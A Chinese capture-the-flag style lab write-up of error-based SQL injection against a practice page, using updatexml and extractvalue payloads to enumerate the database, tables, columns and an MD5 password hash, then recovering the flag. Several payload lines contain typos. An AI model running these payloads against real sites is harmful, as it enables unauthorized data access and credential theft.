看一下源代码,找到sql注入点
<a href="new_list.php?id=1" target="_blank">关于平台停机维护的通知【12:02】</a></p>
先尝试直接在后面加and 1=2 没用然后试一试http://219.153.49.228:40662/new_list.php?id=1’
说明是‘’单引号
extractvalue() updatexml()报错注入:
extractvalue() :对XML文档进行查询的函数
concat函数
1.功能:将多个字符串连接成一个字符串。
2.语法:concat(str1, str2,...)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
?id=1 and extractvalue(null,concat(0x7e,(sql语句),0x7e))
?id=1 and updatexml()(null,concat(0x7e,(sql语句),0x7e))
0x7e就是~ 用来区分数据
当前用户
爆数据库名database()
and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
and (updatexml(1,concat(0x7e,(database()),0x7e),1))–+
爆表
http://219.153.49.228:40662/new_list.php?id=1’ and updatexml(1,***concat(0x7e,(select table_name from information_schema.tables where table_schema=‘stormgroup’ limit 0,1),0x7e)***,1)–+
爆字段名
http://219.153.49.228:40662/new_list.php?id=1’ and updatexml(1,concat(0x7e,(select column_name from information_schema.column where table_column = ‘member’ limit 0,1),0x7e),1)–+
爆用户名
id=1’ and updatexml(1,concat(0x7e,(select name from member limit 0,1),0x7e),1)–+
http://219.153.49.228:47033/new_list.php?id=1’%20and%20updatexml(1,concat(0x7e,(select%20password%20from%20member%20limit%201,1),0x7e),1)%20–+
4e31dc4f7b179a04ca20506d9691a97解密不了说明是错的,而且按照正常来说的回显应该是 ~ 密码 ~ 这样的形式的,但是这里结尾却没有~ 了,MD5加密结果长度应该是32位,~符号占用了1位,所以密码只有31位
所以用到substr(string,start,length)函数
函数介绍
string 必需。规定要返回其中一部分的字符串。
start 必需。规定在字符串的何处开始。
正数 - 在字符串的指定位置开始
负数 - 在从字符串结尾开始的指定位置开始
0 - 在字符串中的第一个字符处开始
length
可选。规定被返回字符串的长度。默认是直到字符串的结尾。
改为
id=1’ and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 1,1),0x7e),1) --+
所以密码是4e31dc4f7b179a04ca20506d9691a978
345292
KEY:mozhe98d575f417ca725eba9cb0b5474